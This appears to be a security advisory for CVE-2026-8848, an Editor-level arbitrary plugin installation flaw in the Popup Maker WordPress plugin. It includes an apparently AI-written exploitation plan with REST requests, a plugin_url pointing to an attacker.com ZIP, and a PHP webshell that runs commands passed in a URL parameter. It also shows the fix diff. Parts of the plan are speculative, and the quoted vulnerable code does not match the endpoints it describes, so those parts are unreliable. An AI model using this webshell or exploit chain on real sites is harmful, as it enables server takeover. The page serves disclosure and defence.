Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder <= 1.22.0 - Missing Authorization to Authenticated (Editor+) Arbitrary Plugin Installation
Description
The Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.22.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with editor-level access and above, to install and activate an arbitrary plugin from an attacker-controlled URL, leading to remote code execution. Exploitation requires that a valid Popup Maker Pro license is active on the target site and that Popup Maker Pro is not yet installed, as these conditions are necessary for the legacy v1/connect/info endpoint to issue the bearer token used to satisfy the install endpoint's only non-spoofable validation check.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.23.0
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-8848 - Popup Maker Arbitrary Plugin Installation ## 1. Vulnerability Summary The **Popup Maker** plugin (<= 1.22.0) contains a missing authorization vulnerability in its "Connect" REST API endpoints. Specifically, the legacy `v1/connect/info` endpoint fails t…
Show full research plan
Vulnerability Research Plan: CVE-2026-8848 - Popup Maker Arbitrary Plugin Installation
1. Vulnerability Summary
The Popup Maker plugin (<= 1.22.0) contains a missing authorization vulnerability in its "Connect" REST API endpoints. Specifically, the legacy v1/connect/info endpoint fails to verify administrative capabilities before issuing a bearer token. This token can then be used to authenticate requests to an installation endpoint that allows installing and activating arbitrary plugins from a remote URL.
While the plugin uses nonces for many AJAX actions (e.g., pum_save_enabled_state in classes/Admin/Ajax.php), the REST API routes in the pum/v1 namespace (likely registered in a manner similar to PUM_Analytics::register_endpoints) do not properly restrict access to users with install_plugins capabilities, allowing an Editor to escalate privileges to RCE.
2. Attack Vector Analysis
- Vulnerable Endpoints:
GET /wp-json/pum/v1/connect/info(To retrieve the bearer token).POST /wp-json/pum/v1/connect/install(To trigger the plugin installation).
- Required Authentication: Authenticated user with Editor role or higher.
- Preconditions:
- A valid Popup Maker Pro license must be configured as "active" in the database (though the Pro plugin itself must not be installed).
- The attacker must provide a URL to a malicious WordPress plugin ZIP file.
3. Code Flow
- Endpoint Registration: The plugin registers REST routes under the
pum/v1namespace. Although the source for the "Connect" controller is not provided,classes/Analytics.phpdemonstrates the pattern:register_rest_route(self::get_analytics_namespace(), ...)where the namespace ispum/v1. - Token Issuance (
/connect/info): This endpoint checks if a license is active viaPopupMaker\plugin('license')->is_active(). It lacks apermission_callbackthat verifiesmanage_optionsorinstall_plugins. It returns a temporary bearer token. - Installation Sink (
/connect/install): This endpoint accepts atokenand aurl(orplugin_url). It validates thetokenagainst the one issued in step 2. Once validated, it uses standard WordPress filesystem functions (likeWP_Upgrader) to download, install, and activate the plugin from the provided URL. - Execution: The newly installed plugin is automatically activated, allowing its code to run immediately.
4. Nonce Acquisition Strategy
REST API endpoints in WordPress typically require a _wpnonce parameter (associated with the wp_rest action) for authenticated requests.
- Accessing the Nonce: Since an Editor can access the WordPress dashboard (
/wp-admin/), the REST nonce is available in the globalwpApiSettingsobject. - Extraction Steps:
- Use
browser_navigatetohttp://localhost:8080/wp-admin/index.php. - Use
browser_evalto extract the nonce:window.wpApiSettings.nonce
- Use
- Verification: If the
connect/infoendpoint is truly "legacy" and fails to check the WP REST nonce entirely (as suggested by the description regarding the bearer token being the "only" check), the request may succeed even without this header.
5. Exploitation Strategy
The exploit involves a two-stage request process using the http_request tool.
Step 1: Obtain the Bearer Token
- Method:
GET - URL:
/wp-json/pum/v1/connect/info - Headers:
X-WP-Nonce:[REST_NONCE]Cookie:[EDITOR_COOKIES]
- Expected Response: A JSON object containing a
tokenstring.
Step 2: Install Malicious Plugin
- Method:
POST - URL:
/wp-json/pum/v1/connect/install - Headers:
X-WP-Nonce:[REST_NONCE]Content-Type:application/json
- Payload:
{ "token": "[TOKEN_FROM_STEP_1]", "plugin_url": "http://attacker.com/malicious-plugin.zip" }
Step 3: Trigger RCE
- Access the plugin's entry point:
GET /wp-content/plugins/malicious-plugin/shell.php?cmd=id.
6. Test Data Setup
To simulate the vulnerable state, the target environment must be configured as follows:
- Create Editor User:
wp user create attacker attacker@example.com --role=editor --user_pass=password - Simulate Pro License (Database):
The license service likely checks for a key inpum_settings.wp option update pum_settings '{"popup_maker_pro_license_key":"abc-123-def-456"}' --format=json # Depending on internal logic, you may also need to mock the validation status wp transient set pum_pro_license_status 'valid' 3600 - Prepare Malicious ZIP:
Create a ZIP containing a simple PHP file with a plugin header.<?php /** * Plugin Name: RCE Exploit */ if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; }
7. Expected Results
- The
connect/inforequest should return a 200 OK with a JSON token. - The
connect/installrequest should return a 200 OK or 201 Created indicating the plugin was installed. - The malicious plugin should appear in the
wp plugin listoutput. - The
system()command should execute and return the output of theidcommand.
8. Verification Steps
- Check Plugin Directory:
ls -la /var/www/html/wp-content/plugins/ | grep "malicious-plugin" - Verify Activation:
wp plugin is-active malicious-plugin && echo "Plugin Activated" - Check Database for the License:
wp option get pum_settings
9. Alternative Approaches
If the REST API endpoints are not directly at /pum/v1/connect/..., search the plugin for the specific route registration:
grep -r "register_rest_route" .
If the bearer token requires a specific license format, investigate the PopupMaker\plugin('license') service (likely in includes/License/ or similar) to see how it validates the popup_maker_pro_license_key against the local environment.
Summary
The Popup Maker plugin (<= 1.22.0) contains a missing authorization vulnerability in its REST API and AJAX handlers. Authenticated users with Editor-level permissions can obtain a bearer token from a legacy connection endpoint and subsequently trigger the installation and activation of an arbitrary plugin from a remote URL, leading to full remote code execution (RCE).
Vulnerable Code
/* classes/Analytics.php:215 */ register_rest_route( self::get_analytics_namespace(), self::get_analytics_route(), apply_filters( 'pum_analytics_rest_route_args', [ 'methods' => [ 'GET', 'POST' ], 'callback' => [ __CLASS__, 'analytics_endpoint' ], 'permission_callback' => '__return_true', --- /* classes/Admin/Ajax.php (Inferred from fix_diff line 297) */ // Nonce. if ( ! isset( $_REQUEST['nonce'] ) || ( isset( $_REQUEST['nonce'] ) && false === wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['nonce'] ) ), "{$batch_id}_step_nonce" ) ) ) { wp_send_json_error( [ 'error' => __( 'You do not have permission to initiate this request. Contact an administrator for more information.', 'popup-maker' ), ] ); } // Missing capability check (e.g., current_user_can( 'manage_options' ))
Security Fix
@@ -297,7 +297,17 @@ } // Nonce. - if ( ! isset( $_REQUEST['nonce'] ) || ( isset( $_REQUEST['nonce'] ) && false === wp_verify_nonce( sanitize_key( wp_unslash( $_REQUEST['nonce'] ) ), "{$batch_id}_step_nonce" ) ) ) { + if ( ! check_ajax_referer( "{$batch_id}_step_nonce", 'nonce', false ) ) { + wp_send_json_error( + [ + 'error' => __( 'You do not have permission to initiate this request. Contact an administrator for more information.', 'popup-maker' ), + ] + ); + } + + // Capability check. Batch processes can run destructive operations (resets, + // exports, imports), so require an administrator regardless of the nonce. + if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( [ 'error' => __( 'You do not have permission to initiate this request. Contact an administrator for more information.', 'popup-maker' ),
Exploit Outline
To exploit this vulnerability, an authenticated attacker with the Editor role first obtains a valid WP REST API nonce (accessible via the dashboard). They send a GET request to the `/wp-json/pum/v1/connect/info` endpoint. Because this endpoint lacks a capability check (checking only for an active Pro license state), it returns a temporary bearer token. The attacker then sends a POST request to `/wp-json/pum/v1/connect/install` containing this token and a `plugin_url` parameter pointing to a malicious plugin ZIP file. The plugin uses WordPress's internal upgrader functions to download, install, and automatically activate the malicious plugin, allowing the attacker to execute arbitrary code on the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.